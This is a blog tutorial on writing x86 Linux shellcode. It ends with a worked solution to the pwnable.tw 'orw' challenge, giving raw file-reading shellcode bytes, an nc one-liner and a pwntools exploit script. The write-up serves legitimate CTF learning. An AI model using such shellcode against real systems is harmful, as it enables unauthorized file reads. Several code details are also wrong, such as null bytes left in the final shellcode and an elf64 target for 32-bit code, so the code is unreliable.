Binary Exploitation Series Part 4

ShellCode Writing

Welcome back folks to a new article, this time I decided to important thing which is to learn how to write your own shellcode. So far, the shellcode used in our exploits has been just a string of copied and pasted bytes from the web. Many hackers just depend on the internet to get their shellcode they are missing a big advantage of shellcoding which can be powerful in reading some stuff through the system like /etc/passwd and other important files.

This article has some theoretical part talking about Assembly and some requirements and then I’ll solve a problem from pwnable.tw regarding shellcoding but first let’s make some required background to advance to the next step.

First of all we will be referring to this page to get Syscalls https://syscalls.kernelgrok.com/ also you can find the Syscalls for Linux from this path /usr/include/asm-i386/unistd.h.

Assembly instruction for intel x86 processor have one, two, three or no operands . The operands can be numerical values , memory addresses or processor registers most common intel x86 registers are EAX, EBX, ECX, EDX, EIP, ESP, EBP, ESI, EDI. We use move instruction to assign values for these registers also important thing to know is that EAX holds the syscall number and the returned value from the function that we call and EBX, ECX, EDX registers hold first, second, third arguments to the syscall.

Now let’s try to write our first Assembly which is really a simple program to print hello world.

Let’s Explain the above Assembly code step by step first of all we define our string in data segment to print it out with it’s name msg and of data byte and terminate it with newline character next we will define our function called _start in the text segment. I’ll not explain the segments of the binary as they are not our focus in this article.

section .data         ;Data segment

msg db  “Hello wrold”, 0xa0 ; the string and newlline

section .text ; Text segment

global _start ; Deafault entry point for ELF

_start:
; Syscall: write(1, msg, 14)
mov eax , 4
mov ebx, 1
mov ecx, msg
mov edx , 14
int 0x80

; Syscall : exit(0)
mov eax, 1
mov ebx, 0
int 0x80

Now let’s dive into the Assembly first of all we will move the syscall for write function to EAX register remember what we said earlier now the argument if you take a look of what are the arguments of the write function from the manual page   write(int fd, const void *buf, size_t count); so it takes the first argument the file descriptor, address to the buffer and the buffer size.

Now it’s obvious first of all we move the STDOUT file descriptor to EBX, next we move the address of our message that we want to print out to ECX finally we put the size of our message into EDX which’s in our case 14 bytes , and call int 0x80 which will interrupt the system to make a system call to write function .

Next to exit the program simply we call exit function by moving it’s syscall number to EAX and the first argument to EBX then call int 0x80 to interrupt the system to call exit function.

root@kali:~/shellcode/shellcode# nasm -f elf64 helloworld.s
root@kali:~/shellcode/shellcode# ld helloworld.o
root@kali:~/shellcode/shellcode# ./a.out
Hello wrold root@kali:~/shellcode/shellcode#

This was a very simple Assembly code that will print hello world to STDOUT as seen in the above output. 

Before writing shellcode I’ll introduce this trick in assembly so consider the following code

BITS 32
call func1; this will call func1 and store the address of the next intruction on the stack
db “HI FOLKS”, 0x0a, 0x0d ;

func1:
; ssize write(int fd, const void buf, size_t count);
pop ecx ; now the address of the string is stored in ECX
mov eax, 4; the syscall for write to EAX
mov ebx, 1; the file descriptor to EBX
mov edx, 10; the size of our string
int 0x80; syscall to write

; void _exit(0)
mov eax, 1 ; exit syscall
mov ebx, 0 ; exit status
int 0x80

So as you know from before when we call a function the next instruction after the call will be stored in the stack so in our case the address to “HI FOLKS” string will be stored in ecx.

Now let’s dive into writing in shellcode we will break into steps.

Removing Null bytes, In order to write a successful shellcode always remember that null bytes are not good and you have to get rid of them somehow there’re some methods out there to remove null bytes from your shellcode and I’ll explain some of them. As you might already know in 32-bit machine the structure of the registers loo like the below picture 

    So If you consider the following mov instruction example:

Machine code Assembly
B8 04 00 00 00 mov eax,0x4
66 B8 04 00 mov ax,0x4
B0 04 mov al,0x4

Using the AL, BL, CL, DL register will put the correct least significant byte into the corresponding extended register without creating any null bytes but the problem here is that the top three-bytes could contain any value. If you come across a digital logic course and you’re familiar with logic gates you should remember the XOR gate i’ll give you a quick refresher on it.

XOR01
001
110

So now consider our situation if we xor a register with itself we will zero out it’s value.  Let’s write the last version of our shellcode and try it.

BITS 32
jmp short func1
func2:
pop ecx
xor eax, eax
mov al, 4
xor ebx, ebx
inc ebx
xor edx, edx
mov dl, 15
int 0x80

; void _exit(0)
mov eax, 1 ; exit syscall
mov ebx, 0 ; exit status
int 0x80

func1:
call func2
db “HI FOLKS”, 0x0a, 0x0d

First we will assemble this by issuing this command on my kali.

root@kali:~/shellcode/shellcode/writ-up# nasm example2.yasm

Next we will print the disassemble this to extract the shellcode from it


root@kali:~/shellcode/shellcode/writ-up# ndisasm example2
00000000  EB0E              jmp short 0x10
00000002  59                pop cx
00000003  31C0              xor ax,ax
00000005  B004              mov al,0x4
00000007  31DB              xor bx,bx
00000009  43                inc bx
0000000A  31D2         xor dx,dx
0000000C  B20F         mov dl,0xf
0000000E  CD80         int 0x80
00000010  E8EDFF            call 0x0
00000013  FF                db 0xff
00000014  FF4849            dec word [bx+si+0x49]
00000017  20464F            and [bp+0x4f],al
0000001A  4C         dec sp
0000001B  4B                dec bx
0000001C  53                push bx
0000001D  0A0D              or cl,[di]

To extract the shellcode issue this command ndisasm dd | cut -f3 -d ‘ ‘ | tr -d $’\n’   it will extract the shellcode from the above output once you did this feed the shellcode to this program 

char code[] = “YOUR SHELLCODE GOES HERE”;
int main(int argc, char **argv)  {
int (*exeshell)();
exeshell = (int (*)()) code;
(int)(*exeshell)();
}

It should work if it doesn’t try to debug it by GDB to know where you are wrong.

Now time for an exercise from pwnable.tw called orw which stands for open read write to get our shell code.

 This how the binary looks from ida decompiler

int main(void) {
  orw_seccomp();
  printf(“Give my your shellcode:”);
  read(0,shellcode,200);
  (*(code *)shellcode)();
  return 0;
}

And as the challenge stated we can read the flag from /home/orw/flag so first of all we need to open the flag then read it then write it to STDOUT.

First let’s convert the path into an ascii code /home/orw/flag remember the little endian part. 

So let’s push the value to the stack in little endian manner next we will do the same procedure as before xor the registers and use them as required for the function that we are using.

push 0x6761
push 0x6C662F77
push 0x726F2F65
push 0x6D6F682F

;open(‘/home/orw//flag’, 0)
xor eax, eax
mov eax, 5
xor ebx, ebx
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80

;read(fd, buff, size)
mov ebx, eax
xor eax, eax
mov eax, 3
mov ecx , esp
add edx, 0x30
int 0x80

;write(fd , buff, size)
xor eax, eax
mov eax, 4
xor ebx, ebx
inc ebx
mov ecx, esp
int 0x80 

Let’s explain some concepts before we craft our shellcode as said above first we pushed the path in the stack remember how stack work in intel x86 it grows towards lower addresses , then I set-up the EAX register with the appropriate syscall and moved the copy the memory address where ESP is pointing to EBX as open takes it first argument the file we want to open. The next is the same concept (remember that the returned value is stored in EAX)

Here’s the result shellcode I used an online tool so to make it easier for everyone https://defuse.ca/online-x86-assembler.htm#disassembly2 : “\x68\x61\x67\x00\x00\x68\x77\x2F\x66\x6C\x68\x65\x2F\x6F\x72\x68\x2F\x68\x6F\x6D\x31\xC0\xB8\x05\x00\x00\x00\x31\xDB\x89\xE3\x31\xC9\x31\xD2\xCD\x80\x89\xC3\x31\xC0\xB8\x03\x00\x00\x00\x89\xE1\x83\xC2\x30\xCD\x80\x31\xC0\xB8\x04\x00\x00\x00\x31\xDB\x43\x89\xE1\xCD\x80” 

Now if we feed it to the challenge we should get our flag.

python -c “print ‘\x68\x61\x67\x00\x00\x68\x77\x2F\x66\x6C\x68\x65\x2F\x6F\x72\x68\x2F\x68\x6F\x6D\x31\xC0\xB8\x05\x00\x00\x00\x31\xDB\x89\xE3\x31\xC9\x31\xD2\xCD\x80\x89\xC3\x31\xC0\xB8\x03\x00\x00\x00\x89\xE1\x83\xC2\x30\xCD\x80\x31\xC0\xB8\x04\x00\x00\x00\x31\xDB\x43\x89\xE1\xCD\x80′” | nc chall.pwnable.tw 10001

We got our flag FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

I found a cool online solution by utilizing the power of pwn library in python 

from pwn import *

# context.log_level = ‘debug’
p = remote(‘chall.pwnable.tw’, 10001)

shellcode = ”
shellcode += shellcraft.pushstr(‘/home/orw/flag’)
shellcode += shellcraft.open(‘esp’, 0, 0)
shellcode += shellcraft.read(‘eax’, ‘esp’, 64)
shellcode += shellcraft.write(1, ‘esp’, 64)
# print(shellcode)

payload = asm(shellcode)
p.recv()
p.send(payload)
response = p.recvall()
print(response)
Simple as that.

Thanks for reading. I hope you learned something new.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s